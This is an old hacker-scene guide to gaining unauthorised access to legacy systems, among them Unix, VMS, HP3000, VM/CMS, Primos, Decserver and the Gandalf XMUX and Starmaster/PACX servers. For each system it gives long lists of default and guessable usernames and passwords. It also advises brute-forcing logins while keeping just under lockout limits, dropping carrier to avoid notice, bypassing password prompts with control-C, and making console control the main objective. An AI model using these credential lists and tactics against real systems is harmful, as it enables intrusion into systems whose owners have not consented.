As a rule, usernames are in lowercase only, as are passwords,
but Unix is case sensitive so you might want to experiment if
you aren't getting any luck.
You are generally allowed 4 attempts at a login/password, but
this can be increased or decreased at the sysadmins whim.
Unfortunely, UNIX does not let you know when the username
you have entered is incorrect.
UNIX informs the user of when the last bad login attempt was
made, but nothing more. However, the sysadmin can keep logs
and audit trails if he so wishes, so watch out.
When inside a UNIX, type 'cat /etc/passwd'. This will give
you the list of usernames, and the encrypted passwords.
The command 'who' gives a list of users online.
'Learn' and 'man' bring up help facilities.
Once inside, you will standardly receive the prompt $ or %
for regular users, or # for superusers.
The root account is the superuser, and thus the password
could be anything, and is probably well protected. I left
this blank, it is up to you. There won't be any common
passwords for root.
COMMON ACCOUNTS:
Username
Password
--------
--------
root
daemon
adm
admin, sysadm, sysadmin, operator, manager
uucp
bin
sys
123
lotus, lotus123
adduser
admin
adm,sysadm,sysadmin,operator,manager
anon
anonymous
anonuucp
anon, uucp, nuucp
anonymous
anon
asg
device devadmin
audit
auth
backappl
backup
save, tar
batch
bbx
blast
bupsched
cbm
cbmtest
checkfsys
control
cron
csr
support, custsup
dbcat
database, catalog
default
user, guest
demo
tour, guest
dev
devel
devshp
diag
sysdiag, sysdiags, diags, test
diags
diag, sysdiag, sysdiags
dialup
dos
fax
field
fld, service, support, test
filepro
finger
fms
friend
guest, visitor
games
general
gp
gsa
guest
visitor, demo, friend, tour
help
host
hpdb
info
informix
database
ingres
database
inquiry
install
journal
journals
kcml
learn
lib
library, syslib
link
listen
lp
print spooler lpadmin
lpadmin
lp, adm, admin
lpd
ls
mail
maint
sysmaint, service
makefsys
man
manager
mgr, man, sysmgr, sysman, operator
mdf
menu
mountfsys
ncrm
ncr
net
network
netinst
inst, install, net, network
netman
net, man, manager, mgr, netmgr, network
netmgr
net, man, manager, mgr, netmgr, network
network
net
newconv
news
nobody
anon
nuucp
anon
oasys
oa
odt
opendesktop
online
openmail
mail
oper
operator,manager,adm,admin,sysadmin,mgr
operator
sysop, oper, manager
opp
oracle
database
oraclev5
oracle, database
oradev
oracle
pcs
pcsloc
pctest
postmaster
mail
powerdown
shutdown
priv
private
prod
pub
public
public
pub
reboot
remote
report
rha
rje
rsm
rsmadm
rsm, adm, admin
rusr
sales
sas
save
backup
savep
service
field, support
setup
shutdown
smtp
mail
softwork
space
startup
su
sundiag
sysdiag, diag, diags, sysdiags
suoper
su, oper, operator
super
supervisor, manager, operator
support
field, service
sync
sysadm
adm, admin, operator, manager
sysdiag
diag, diags, sysdiags
sysinfo
info
sysmaint
maint, service
sysman
manager,mgr,man,admin,operator,sysadmin
sysmgr
manager,mgr,man,admin,operator,sysadmin
system
sys, unix, shell, syslib, lib, operator
systest
test, tester, testuser, user
test
tester, testuser, systest, user
tester
test, user, testuser
testuser
test, tester, user, systest
tftp
tour
demo, guest, user, visitor
transfer
tty
tutor
tutorial
umountfsys
unix
unixmail
mail, unix
user
guest, demo
userp
user
usr
user
usrlimit
utest
uucpadm
adm, admin, uucp
uuadm
uucp, adm
uuadmin
uucp, admin
uuhost
uucp, host
uulog
uucp, log
uunx
uucp
uupick
uucp, pick
uustat
uucp, stat
uuto
uucp, to
uux
uucp
va
vashell
vax
visitor
guest, friend, demo, tour
vlsi
vmsys
vsifax
who
wp
wp51
vm, face
x25
pad
x25test
test
x400
VMS-
DEC's Virtual Memory System commonly runs on VAX computers.
It is another very widespread system, with many users world
wide.
VMS will have a 'Username:' prompt, and to be sure just type
in a ',' for a username. A VMS will throw back an error
message on special delimeters.
You will standardly get 3 and only three login attempts, and
VMS is not kind enough to let you know when you have entered
an incorrect username.
Once inside you will find yourself at a $ prompt.
COMMON ACCOUNTS:
Username
Password
--------
--------
backup
batch
dcl
dec
decmail
mail
decnet
default
default, user
dialup
demo
guest
dsmmanager
dsm, manager
dsmuser
dsm, user
field
field, service, support, test, digital
games
guest
visitor, demo
help
helpdesk
help_desk
helpdesk
host
info
ingres
database
interactive
link
local
mail
mailer
mail
mbmanager
mb, manager, mgr, man
mbwatch
watch, mb
mpdbadmin
mpdb, admin
netcon
net, network
netmgr
net, manager, mgr, operator
netpriv
network, private, priv, net
netserver
network
net
newingres
ingres
news
operations
operations
operator
oper, manager, mgr, admin,
opervax
operator, vax
ops
oracle
pcsdba
pfmuser
pfm, user
postmaster
mail
priv
private
remote
report
rje
remote, job, entry
student
suggest
suggest
sys
sysmaint
sysmaint, maint, service, digital
system
manager,operator,sys,syslib
systest
uetp,test
systest_clig
systest, test
tapelib
teledemo
demo
test
testuser, tester
uetp
user
test, guest, demo
userp
user
vax
vms
visitor
guest, demo
wpusers
HP3000-
HP3000 mainframes run the MPE series of operating systems,
such as MPE, V, ix, X, and XL.
The default login prompt is ':', but this can be prefaced
with characters(ie: 'mentor:') and in some cases the ':' may
be taken completely away (ie: 'mentor'). To check for a
HP3000, hit a <CR>, you will get an error message such as this;
EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON. (CIERR 1402)
To login type 'hello', followed by the login information,
which is in this format:
USER.ACCOUNT,GROUP.
The group is optional, but may be needed in some cases, and
can give you different file sets and the sort.
A great thing about HP3000's is they tell you exactly what
is incorrect about the login name you've supplied them,
be it the account is valid but the username is wrong, or the
other way around.
But unfortunely, if the system operators choose, they may
password ALL of the login name segments; username, account
and group.
The internal prompt for MPE's is, again, :.
'Help' will give you help when inside a HP3000.
When entering accounts, i'd suggest not to use a group at
first. If you receive the error message 'not in home group',
then try the group PUB, then if even that fails, move on to
the common group list.
I didn't list passwords along with the accounts, as it would
be a bit of an awkward format, because of MPE's awkward
format. The only manufacturer default passwords I am aware
of are 'hponly', for mgr.telesup, 'lotus', for mgr.sys, and
'hpword' for field.support.
Just remember to try the various parts of the account as a
password, and anything else along those lines.
If you need a password for the following user.accounts &
groups, try the various parts of the name plus any
combinations of it or names with obvious links to it(ie:
field=service).
COMMON ACCOUNTS:
Username.Account
---------------mgr.3000devs
mgr.acct
mgr.backup
manager.blast
manager.blast1
mgr.ccc
spool.ccc
mgr.cnas
manager.cognos
mgr.cognos
operator.cognos
mgr.common
mgr.company
mgr.conv
mgr.corp
mgr.cslxl
mgr.demo
operator.disc
mgr.easy
mgr.easydev
mgr.extend
mgr.hpdesk
mgr.hplanmgr
field.hpncs
mgr.hpncs
advmail.hpoffice
deskmon.hpoffice
mail.hpoffice
mailman.hpoffice
mailroom.hpoffice
mailtrck.hpoffice
manager.hpoffice
mgr.hpoffice
openmail.hpoffice
pcuser.hpoffice
spoolman.hpoffice
x400fer.hpoffice
x400xfer.hpoffice
wp.hpoffice
mgr.hponly
mgr.hpoptmgt
field.hpp187
mgr.hpp187
mgr.hpp189
mgr.hpp196
mgr.hppl85
mgr.hppl87
mgr.hppl89
mgr.hppl96
mgr.hpskts
mgr.hpspool
mgr.hpword
mgr.hpx11
dpcont.hq
mgr.hq
mgr.indhpe
mgr.infosys
mgr.intx3
manager.itf3000
mail.mail
mgr.netbase
mgr.netware
operator.netware
mgr.orbit
mgr.prod
mgr.rego
mgr.remacct
mgr.rje
manager.security
mgr.security
mgr.sldemo
mgr.snads
mgr.softrep
mgr.speedwre
mgr.spool
manager.starbase
field.support
mgr.support
operator.support
exploit.sys
manager.sys
mgr.sys
operator.sys
pcuser.sys
rsbcmon.sys
operator.syslib
sysrpt.syslib
mgr.sysmgr
operator.system
mgr.tech
mgr.techxl
mgr.telamon
field.hpword
mgr.opt
manager.tch
field.telesup
mgr.telesup
sys.telesup
mgr.tellx
monitor.tellx
mgr.utility
mgr.vecsl
manager.vesoft
mgr.vesoft
mgr.word
field.xlserver
mgr.xlserver
mgr.xpress
COMMON GROUPS:
admin
advmail
ask
brwexec
brwonlne
brwspec
bspadmin
bspdata
bspinstx
bsptools
catbin1
catbin2
catlib
classes
config
console
convert
creator
curator
currarc
current
dat
data
database
delivery
deskmon
devices
diadb
diag
diafile
diaipc
doc
docxl
document
dsg
easy
ems
emskit
etdaemon
example
examples
ezchart
galpics
graphics
hold
hpaccss
hpadvlk
hpadvml
hpdesk
hpdraw
hpecm
hpemm
hpenv
hpgal
hphpbkp
hplibry
hplist
hplt123
hpmail
hpmap
hpmenu
hpprofs
hpsw
hptelex
ibmpam
idl
idlc
idpxl
include
infoxl
instx
internal
itpxl
job
lib
libipc
library
mailconf
maildb
mailhelp
mailjob
maillib
mailserv
mailstat
mailtell
mailxeq
mediamgr
memo
memory
mgr
mmgrdata
mmgrxfer
mmordata
mmorxfer
monitor
mpexl
ndfiles
ndports
net
network
nwoconf
office
oldmail
oper
operator
out
pascalc
patchxl
pcbkp
ppcdict
ppcsave
ppcutil
prntmate
prog
prvxl
pub
pubxl
qedit
ref
request
restore
sample
sbase
sfiles
signal
sleeper
snax25
sql
sruntime
subfile
suprvisr
sx
sys
sysmgr
sysvol
tdpdata
telex
telexjob
text
tfm
ti
tools
transmit
user
users
validate
viewlib
visicalc
wp
wp3
x400data
x400db
x400fer
x400file
xspool
VM/CMS-
The VM/CMS Operating System is found on IBM mainframes, and
while there are quite a few out there, they are commonly left
alone by hackers who prefer Unix or VMS.
VM/CMS systems are commonly found gated off Sim3278 VTAMs and
ISM systems as well.
The login prompt for CMS is '.', but additional information
might be given before the prompt, such as;
Virtual Machine/System Product
!
.
or;
VM/370
!
.
and frequently over to the side;
LOGON userid
DIAL userid
MSG userid message
LOGOFF
but they all represent a VM/CMS system.
To logon, type 'logon' followed by the username, which is
usually 1 to 8 characters in length.
To be sure it is a CMS, type 'logon' followed by some random
garbage. If it is a VM/CMS, it will reply;
Userid not in CP directory
This is one of the great things about CMS, it tells you if
the login ID you entered is incorrect, thus making the
finding of valid ones fairly easy.
One thing to watch out for.. if you attempt brute forcing
some systems will simply shut the account or even the login
facility for some time. If that is the case, find out the
limit and stay just underneath it.. drop carrier or clear the
circuit if necessary, but if you continually shut down the
login facilities you will raise a few eyebrows before you
even make it inside.
Once inside, typing 'help' will get you a moderate online
manual.
COMMON ACCOUNTS
Username
Password
--------
--------
$aloc$
admin
operator, manager, adm, sysadmin, sysadm
alertvm
alert
ap2svp
apl2pp
autolog1
autolog
autolog2
autolog
batch
batch1
batch
batch2
batch
botinstl
ccc
cms
cmsbatch
cms, batch, batch1
cmsuser
cms, user
cpms
cpnuc
cprm
cspuser
user, csp
cview
datamove
demo1
demo
demo2
demo
direct
dirmaint
dirmaint1
diskcnt
entty
erep
formplus
fsfadmin
fsftask1
fsftask2
gcs
gcsrecon
idms
fsf, adm, sysadmin, sysadm, admin, fsfadm
idmsse
iips
infm-mgr
infm, man, manager, mgr
inoutmgr
mgr, manager
ipfappl
ipfserv
ispvm
ivpm1
ivpm2
maildel
mailman
maint
service
moeserv
netview
network, view, net, monitor
oltsep
op1
opbackup
backup
operatns
op, operator, manager, admin
operator
op, operatns, manager, admin
opserver
pdm470
pdmremi
peng
presdbm
dbm
procal
prodbm
prod
promail
psfmaint
maint
pssnews
news
pvm
router
rscs
rscsv2
savsys
sfcm1
sfcntrl
sfcm
sim3278
smart
sna
sqldba
database
sqluser
user, sql
syncrony
sysadmin
admin, adm, sysadm, manager, operator
sysckp
sysdump1
sysdump
syserr
syswrm
tdisk
disk, temp
temp
tsafvm
vastest
test
vm3812
vmarch
vmasmon
vmassys
vmbackup
backup
vmbsysad
vmmap
map
vmtape
tape
vmtest
test, testuser
vmtlibr
vmutil
util, utils
vseipo
vsemaint
maint
vseman
vsm
vtam
vtamuser
user, vtam
x400x25
PRIMOS-
Run on the Prime company's mainframes, the Primos Operating
System is in fairly wide use, and is commonly found on
Packet-Switched Networks worldwide.
Upon connect you will get a header somewhat like
PRIMENET 23.3.0 INTENG
This informs you that it is indeed a Primos computer, the
version number, and the system identifier the owner picked,
which is usually the company name or the city the Primos is
located in. If you find a Primos on a network, you will
receive the Primenet header, but if it is outside of a
network, the header may be different(ie:Primecon).
Hit a number of <CR>'s, and Primos will throw you the login
prompt 'ER!'.
At this point, type 'login' followed by your
username.
If hitting <CR>'s did not provoke an 'ER!', then type 'login'
followed by your username.
If you are blessed and you find some stone age company
running 18.0.0 or below, you are guaranteed access.
Just find a username and there will be no password prompt.
If for some reason passwording exists, a a few control-C's
should drop you in.
Unfortunely, Primos almost always allows one and one attempt
only at a username/password combination before it kicks you
off, and Primos will not tell you if the ID you've entered is
invalid.
Once you are inside, you will find yourself at the prompt
'OK'.
'help' brings up a so-so online help guide.
COMMON ACCOUNTS
Username
Password
--------
--------
backup
backup_terminal
batch_service
batch
bootrun
cmdnc0
demo
diag
dos
dsmsr
dsm
dsm_logger
dsm
fam
games
guest
guest1
guest
lib
libraries
login_server
mail
mailer
netlink
net, primenet
netman
manager, man, mgr, netmgr
network_mgt
netmgt
network_server
server
prime
primos, system
primenet
net, netlink
primos
prime, system
primos_cs
primos, prime, system
regist
rje
spool
spoolbin
spool
syscol
sysovl
system
system_debug
system_manager
tcpip_manager
tele
test
prime, primos, sys1, operator
timer_progress
tools
TOPS-10/20-
An older and somewhat rare operating system, TOPS-10 ran on
the DEC-10/20 machines. You can usually recognize a TOPS-10 by
its' prompt, a lone period '.', while a TOPS-20 will have a
'@' in its place. Most systems allow you to enter the commands
'SYSTAT' or 'FINGER' from the login prompt, before logging in.
This command will let you see the users online, a valuable aide
in hacking.
To login, type 'login xxx,yyy', where the x and y's are
digits.
TOPS-10 does let you know when your username is incorrect.
COMMON ACCOUNTS
IRIS-
User ID Code
Password
------------
--------
1,2
OPERATOR, MANAGER, ADMIN, SYSLIB, LIB
2,7
MAINT, MAINTAIN, SYSMAINT
5,30
GAMES
Unfortunely, i have no experience with IRIS whatsoever. To
this day i haven't even seen one. So with regret i must
present old material, the following info comes entirely from
the LOD/H Technical Journal #3. Hopefully it will still be
applicable.
The IRIS Operating System used to run soley on PDP systems,
but now runs on many various machines.
IRIS will commonly present itself with a herald such as;
"Welcome to IRIS R9.1.4 timesharing"
And then an "ACCOUNT ID?" prompt.
IRIS is kind enough to tell you when you enter an incorrect
ID, it won't kick you off after too many attempts, and no
logs are kept. And strangely enough, passwords are not used!
So if you can find yourself an IRIS OS, try the following
defaults and you should drop in..
COMMON ACCOUNTS
Username
-------accounting
boss
demo
manager
noname
pdp8
pdp11
software
tcl
NOS-
The NOS(Network Operating System) is found on Cyber
mainframes made by CDC(the Control Data Corporation).
Cyber machines are commonly run by institutions such as
universities and atomic research facilities.
Cybers will usually give a herald of some sort, such as
Sheridan Park Cyber 180-830 Computer System
or
Sacremento Cyber 180-830 CSUS NOS Software System
The first login prompt will be 'FAMILY:', just hit <CR>.
The next prompt is 'USER NAME:'. This is more difficult,
usually 7 characters. The password is even worse,
commonly 7 random letters. Sound bad? It is. Brute forcing
an account is next to impossible.
I've never seen these defaults work, but they are better than
nothing. I got them out of the LOD/H Novice's Guide to
Hacking, written by the Mentor. There are no known passwords
for these usernames.
COMMON ACCOUNTS
Username
-------$SYSTEM
SYSTEMV
DECSERVER-
The Decserver, is as the name implies, a server made by the
Digital Equipment Corporation, the same company that makes
the VAX machines.
It is possible the owner of the server put a password on it,
if this is the case you will hit a # prompt. If the server
has PADs or outdials on it, you can bet this is the case.
You don't need a username, just the password. You will
commonly get 3 tries, but it can be modified.
The default password is 'access', but other good things to
try are ; server, dec, network, net, system (and whatever
else goes along with that).
If you get past the #, or there isn't one, you will hit the
prompt 'Enter Username>'. What you put really doesn't matter,
it is just an identifier. Put something normal sounding, and
not your hacker alias. It is actually interesting to look at
the users online at a Decserver, as commonly there will be a few
users
with the username C or CCC or the like, usually meaning
they are probably a fellow hacker.
Also, at the Enter Username> prompt you are able to ask for
help with the 'help' command, which spews out fairly lengthly
logon help file.
If all went well you should end up at a 'Local>' prompt.
Decservers have a fairly nice set of help files, simply type
'help' and read all you want.
It is a good idea to do a 'show users' when you first logon,
and next do a 'show services' and 'show nodes'. The services
are computers hooked up to the Decserver, which you can
access. For obvious reasons you will often find many VAX/VMS
systems on Decservers, but pretty much anything can be found
Look for services titled Dial, Modem, PAD, X25,
Network, or anthing like that. Try pretty much everything
you see. Remember to try the usernames you see when you do
a 'show users' as users for the systems online.
Also, you will sometimes find your Decserver has Internet
(Telnet, SLIP or FTP) access, make sure you make full use of
this.
To connect to the services you see, use 'c XXXX', where the
X's represent the service name.
Once inside, the manufacturer's default for privs is 'system'
and it is rarely changed.
The maintenance password changes from version to version.
With the Decserver 200 & 500 it is 0000000000000000 (16 0's),
but with 300 it is simply 0.
GS/1-
GS/1's are another server type system, but they are less
common than the Decservers. The default prompt is 'GS/1>',
but this can be changed to the sysadmins liking.
To check for a GS/1, do a 'sh d', which will print out some
statistics.
To find what systems are available from the server, type
'sh n' or a 'sh c', and a 'sh m' for the system macros.
XMUX-
The XMUX is a multiplexing system that provides remote
access, made by Gandalf Technologies, Inc., Gandalf of Canada
Ltd. in Canada. As far as I can tell, the XMUX is used only on
Packet-Switched Networks, Datapac in particular but with usage
on PSNs world wide.
The XMUX is not usually thought of as a stand alone system,
but as a supportive system for multi-user networked systems,
having a bit to do with system monitoring, channel control,
and some of the features of multiplexing.
Thus, you'll commonly find a XMUX on a mnemonic or a
subaddress of another system, although you will find them
alone on their own NUA frequently as well.
To find the systems on a subaddress or a mnemonic, your best
bet is to go with mnemonics, as the LOGGER mnemonic cannot be
removed, while subaddressing is optional.
You won't always want to check every single system, so i'll
give a guideline of where to check;
(REMINDER: this is only for systems on PSNs, and may not
apply to your PSN)
- PACX/
: The PACX/Starmaster is also made by
Starmaster
Gandalf, and the two are tightly
Systems
interwoven. If mnemonics don't work, be
sure to try LCNs, as the CONSOLE on a
PACX/Starmaster is an entirely different
thing, and frequently using the mnemonic
CONSOLE will bring you to the PACX
console, not the XMUX console.
- BBS Systems
: BBS Systems on PSNs frequently need some
help, and XMUXs are fairly commonly
found with them.
- Other misc.
systems
: Many of the other operating systems,
such as Unix, AOS/VS, Pick and HP3000
have the occasional XMUX along with it.
- Networked
systems
: A good portion of networked systems have
XMUXs.
If a system does have a XMUX also, you can reach it almost
always by the mnemonic CONSOLE, and if not, the node name of
the XMUX. If that doesn't work, try LCNs up to and including
15.
Occasionally the console of the XMUX will be unpassworded, in
which case you will drop straight into the console. The XMUX
console is self-explanatory and menued, so i will leave you
to explore it.
However, in all likeliness you will find yourself at the
password prompt, 'Password >'. This can not be modified, but
a one-line herald may be put above it.
To check for a XMUX, simply hit <CR>. It will tell you that
the password was invalid, and it must be 1 to 8 alphanumeric
characters.
As you can see, you do not need a username for the remote
console of a XMUX. UIDs are used, but internally within the
workstation.
As it says, the password format is 1 to 8 alphanumeric
characters. There is no default password, the console is left
unprotected unless the owner decides to password it.
However, there are common passwords. They are;
console, gandalf, xmux, system, password, sys, mux xmux1
I'll repeat them in the common passwords again later.
But these will not always work, as it is up to the owner to
pick the password(although they do like those).
Your next best bet is to find out the node name of the XMUX
(XMUXs are polling systems as well, usually hooked up somehow
to one of the regional hubs).
To do this, you must understand the parts of the XMUX.
The XMUX has 4 default parts; the CONSOLE, the FOX, the
LOGGER, and the MACHINE.
I'll try and define the usage of them a bit more;
CONSOLE- the main remote part of the XMUX, which performs all
the maintenance functions and system maintenance.
the actual system.
reachable usually on the LCN(subaddress) of 0 or
4/5, and the default mnemonic CONSOLE, which can be
changed.
FOX
- a test system, which runs through never ending lines
of the alphabet and digits 0-9.
reachable on the LCN of 1, mnemonic FOX.
LOGGER - a device which displays log information, usually
one or two lines, including the node name.
reachable on the LCN of 2, mnemonic LOGGER.
MACHINE- a system which i do not yet understand fully.
performs some interesting functions.
the prompt is '#'.
type 'S' and you will(always) receive a short/long
(depending on how much the system is used) system
status report, containing among other things the
system node name.
if active, typing 'L' will bring up a more complete
system log. This is VERY useful. It contains the
NUAs of the systems which called the XMUX, and it
contains the UIDs if used.
As you can see, the XMUX is rather complicated upon
first look, but it is actually fairly simple. The easiest
way to grab the node name is to call the LOGGER.
The logger MUST be present, always. It is a non-removable
default. The LCN may be removed, but the mnemonic must stay.
I explained mnemonics earlier, but i'll refresh your memory.
To use the mnemonic, simply type the NUA, followed by a comma
and then the mnemonic, ie;
12300456,LOGGER
The very first thing in the data string you see is the node
name. If it is a blank space, you have run across a rarity,
a XMUX without a node name.
The node name is THE most popular thing other than the other
common passwords.
Try combinations of it, and combinations of it along with
the words XMUX and MUX.
And of course, if a herald is used, use whatever you can find
in the herald.
But again, if it is a company, they love to use the company
name or acronym as a password, and that acronym or name will
often be the node name.
Ok, have fun..
COMMON ACCOUNTS
Console Passwords
----------------CONSOLE
XMUX
GANDALF
SYSTEM
PASSWORD
MUX
XMUX1
SYS
(node name)
One other thing. I did not include the profile or remote
profile names, or the UIDs, as they are as far as i know
inapplicable from remote.
And a final comment. XMUXs are powerful and potentially
extremely harmful to a network. DO NOT DELETE ANYTHING. The
only submenus you will have reason to access are 'DEFINE' and
'DISPLAY'. Don't boot people off channels or add console
passwording or remove profiles..you will end up with your ass
in jail. Taking down a network is less than funny to the
people that run it. Explore, don't harm.
STARMASTER-
The Starmaster/PACX 2000 is still a somewhat mysterious
/PACX
system, but i have now explored all the security barriers as
well as the network and the internal functions, so i feel
this is fairly complete.
The Starmaster/PACX system is a networking/server system made
by, again, Gandalf Technologies Inc., Gandalf of Canada Ltd.,
in Canada, and is also known informally (and some what
incorrectly) as the 'Gandalf Access Server.' The Access is
similar, but different, as described later.
It is a fairly popular system on Datapac, and has some usage
in other regions of the world. Again, it is used mainly
on Packet-Switched Networks, although, thanks to the dialing
directory of a Sam24V outdial on a Starmaster, I have
discovered that Starmasters do indeed have dialin access.
The first possible security barrier is the dialin password,
which is rarely used, but you should know about.
The prompt is usually ;
DIALIN PASSWORD?
But can be changed, although it should remain similar.
Dialin passwords are 1 to 8 characters, and are usually
one of the following defaults;
GANDALF SERVER PACX NET NETWORK STARMAST DIALIN PASSWORD
ACCESS
If the Starmaster has a XMUX resident(explained in previous
system definition; XMUXs), find out the node name and try it.
The next possible security barrier is that the sysadmin
desires the users to enter a username/password before
entering the server.
You will find yourself at a prompt such as;
USERNAME?
This is the most common prompt.
Usernames are 1 to 8 characters, and the Starmaster will let
you know if it is wrong or not with an error message such as;
INCORRECT USERNAME
or
INVALID RESPONSE
This, like the username prompt, can be changed, but it will
usually be in all-caps.
You are allowed between 1 and 10 attempts at either a valid
username or a valid password, depending on the owners
preference.
This means(if it is set to ten tries) you can enter 9 invalid
usernames, and on the tenth enter a valid username, then have
10 attempts at a valid password.
The defaults for this(which i will list later also) prompt
are;
TEST, TESTUSER, TESTER, GANDALF, SYSTEM, GUEST
USER, HP, CONSOLE, and finally OPERATOR.
Also, first names will work usually.
The next prompt you will face, or the first one if usernames
are not implemented, is the server prompt. This is the main
user prompt for a Starmaster, all major user commands are
used from here.
But as you can guess, commands aren't used really, it is
service names you desire.
Sometimes you will get a list upon entering the server, but
other times you will just hit the server prompt, which
usually looks something like;
SERVICE?
or
CLASS?
or even
service?
or
class?
or
service
Or whatever the sysadmin feels like. 'SERVICE?' is the
default, and the most common.
Keep in mind that the services CAN be passworded, but
rarely are. In the case of passwording, use your imagination.
Another thing; from the PACX console, where the services are
defined, there is an option which decides whether the service
is allowed for remote users. If this is set to NO, then you
are out of luck, you have to be in the workstation to use the
command. This is common for the CONSOLE and the MAIL, and
occasionally modems and PADs. You will get an error message
something like 'SERVICE NOT ALLOWED'.
I will give a more complete list of common services, but
I will list the defaults and the major ones now.
PAD, X25, X28-
Will commonly take you to a Gandalf PAD,
(or name of
for which the default prompt is '*'.
your PSN)
'HELP' will bring up a list of commands.
MAIL
-
A non-removable default, but i've never
seen it with the remote access flag in the
ON position.
CONNECT
-
Another non-removable default which i have
never seen with the remote access flag in
the on position.
MODEM, DIAL -
And variations therof. The common outdial
is the Gandalf made Sam24V, which comes with
a great set of help files.
CONSOLE
-
The motherlode. The system controller,
maintenance computer, test machine, and
all of that. DON'T confuse the PACX console
with the XMUX console, they are two very
different things.
The console should be protected by the
sysadmin with his/her life, as every faction
of the Starmaster is controlled from within
the Console.
The CONSOLE is a non-removable service from
the server, BUT remote access can be removed
thus cutting off our means of getting to it.
Try it first, if it works the screen will
scroll down a number of lines and give this
herald/prompt;
GANDALF TECHNOLOGIES INCORPORATED, COPYRIGHT 1990
OPERATOR NAME?
This is not changable, it will remain the
same except for possibly the copyright date.
There can be 8 operators at the most, and
they will have 1 to 8 characters in their
name and password. And again, the PACX will
tell you if your operator name is incorrect.
You will be allowed 1 to 10 attempts at the
login name and then it resets to 0 for the
password attempt when you've found an
operator name, but same limit.
The same defaults for the usernames work
here, if you are lucky, with the exception
of HP. I'll list them again at the end.
Once you get in, it is all menued and
explanatory. DON'T FUCK THINGS UP. By that
I mean deleting or modifying. Look. There
is MUCH to see. The PACX console is
incredibly powerful, and you will have much
more fun exploring it.
Besides, once you are in the console, the
game is over. You have control over all the
services, users, and all security barriers.
If you get a high level console account,
you are the God of the PACX, no joke.
COMMON ACCOUNTS
Usernames
Passwords
---------
---------
CONSOLE
CONSOLE, PACX, GANDALF, OPERATOR, SYSTEM
GAND
GAND
GANDALF
GANDALF, SYSTEM, PACX, STARMAST, SYS
GUEST
GUEST, VISITOR, USER
HP
HP
OPERATOR
OPERATOR, SYSTEM, SYSLIB, LIB, GANDALF
SYSTEM
SYSTEM, SYS, OPERATOR, PACX, SYS, GANDALF
TEST
TEST, TESTUSER, USER, TESTER
TESTUSER
TEST, TESTUSER, USER, TESTER
TESTER
TEST, TESTUSER, USER, TESTER
USER
USER, GUEST, TEST, VISITOR, GANDALF
(i've never seen an account such as MAINT, but i would guess
one exists, along with standard system defaults. Try
anything outside these lines)
Services
-------1 (if it works; higher)
A (through Z)
10 (if it works; higher in sequence of tens)
BBS
CLUSTER
CONNECT
CONSOLE
DATABASE
DATAPAC
DEC
DIAL
DIALOUT
FILES
FTP
GATEWAY
GEAC
HELP
HP
INTERNET
LIB
LIBRARY
LOOP
MAIL
MENU
MODEM
MUX
NET
NETWORK
OUT
OUTDIAL
PACX12
PACX24
PACX96
PAD
PRIME
PRIMOS
PROD
SALES
SERVER
SUN
SUNOS
SYS
SYSTEM
TELNET
TYMNET
UNIX
VAX
VMS
X25
X28
XCON
XGATE
XMUX
And anything else you can think of.
First names are also fairly common.
Operator Name
Password
-------------
--------
TEST
TEST, TESTUSER, USER, TESTER
TESTUSER
TEST, TESTUSER, USER, TESTER
TESTER
TEST, TESTUSER, USER, TESTER
GANDALF
GANDALF, SYSTEM, PACX, CONSOLE, SYS
GUEST
GUEST, VISITOR, USER
SYSTEM
SYSTEM, SYS, OPERATOR, PACX, SYS, GANDALF
CONSOLE
USER
USER, GUEST, TEST, VISITOR, GANDALF
OPERATOR
OPERATOR, SYSTEM, CONSOLE, GANDALF
CONSOLE
CONSOLE, PACX, GANDALF, OPERATOR, SYSTEM
SYS
SYS, SYSTEM, GANDALF, PACX, CONSOLE
And again, try first names and ANYTHING you can think of.
Getting into the console should be your main objective.
ACCESS2590-
The Access2590 is another Gandalf creation. While it is a
server system, it is different in some respects to a PACX.
The Starmaster generally only connects computers on a local
or wide area network(they do connect to X.25 & IP addresses,
but they *usually* don't), while the Access 2590 connects
to local & wide area network services, X.25 address, and IP
addresses with suprising versatility. The PACX is, however,
in much wider distribution.
It will usually have an initial herald screen, often letting
you know that it is indeed an Access server made by Gandalf.
If the operator wishes he can include a menu of services
with their respective descriptions in this provided space.
Then you will find yourself at a prompt, the default being
"Access 2590 >". I haven't seen any sort of initial
protection before you hit that prompt, but i'm betting it
does exist, and it probably goes along the lines of the PACX.
Follow the trend I set with the PACX and you should do fine.
Anyways, the one thing I like so much more about the Access
2590 compared to the Starmaster is the command "show symbols"
. That was one of the big problems from a hacking point of
view with the PACX; it doesn't have a command available to
show you the services. If you get console access on the PACX
you can get a listing of services that way, but you simply
cannot hack a console account everytime, and besides that
often the owner will have turned the remote console access
flag off.
If the operator wanted to give you help with services he had
to take the initiative himself and design a herald screen or
implement a help service, and few do. But the "show symbols"
on an Access will give you a listing of all the available
"symbols", which is Gandalf's term for services. Connect to
them with "c xxx" where "xxx" is of course the service.
And yes, to you eager folks who have tasted the PACX
console's power, the Access does have a console. Type "c
console" to get to it.
Follow the PACX's guidelines, and you'll do fine.
PICK-
The PICK system was created by Dick Pick(no joke), and is
a fairly widespread system, there are a few of them out there
on the major PSNs. I really dislike PICK, but for those of
you wishing to try it yourself, it is a fairly easy hack.
A normal PICK login prompt looks somewhat like;
07 JUN 1993 04:00:21 Logon please:
Additional data can be entered in that line, and a header
may be used above that. However, PICKs are usually
recognizable by that logon prompt which will normally
contain the date and time, as well as the 'Logon please:'.
If you aren't sure, enter the username 'SYSPROG', in ALL CAPS
, as PICK is case sensitive and SYSPROG will be in capitals.
SYSPROG is the superuser(or as PICK calls it the 'Ultimate
User') and is similar to root on a Unix; it must be present.
PICK lets you know when you've entered an invalid Username,
which is helpful when finding valid accounts.
Experiment with the upper and lower case if you wish, but
upper case is the norm.
The people who make PICK like to think of PICK as more a
DBMS than an OS, and it is often sold just as that. Because
of that, you may find it on Unix, MPE, and Primos based
systems among others.
One last note, internal passwording is possible on the PICK,
so don't be too suprised if you think you've found an
unpassworded system only to be hit by a password before the
internal prompt.
COMMON ACCOUNTS
Usernames
Passwords
---------
---------
1
ACC
ACCT
ACCTNAME
ACCUMATH
ACCUPLOT
ACCUPLOT-DEMO
ARCHIVE
ACCUPLOT, DEMO
AUDITOR
AUDITORS
BACKUP
BATCH
BLOCK-CONVERT
BLOCK-PRINT
COLDSTART
COMBINATION
COMM
COMTEST
CPA
CPA.DOC
CPA, DOC
CPA.PROD
CPA, PROD
CTRL.GROUP
CTRL, CONTROL
DEMO
DA
DCG
DEV
DM
DATA, MANAGER, MAN, MGR, DATAMGR, DATAMAN
DOS
ERRMSG
EXCEPTIONAL
EXECUTE-CONTROL
EXPRESS.BATCH
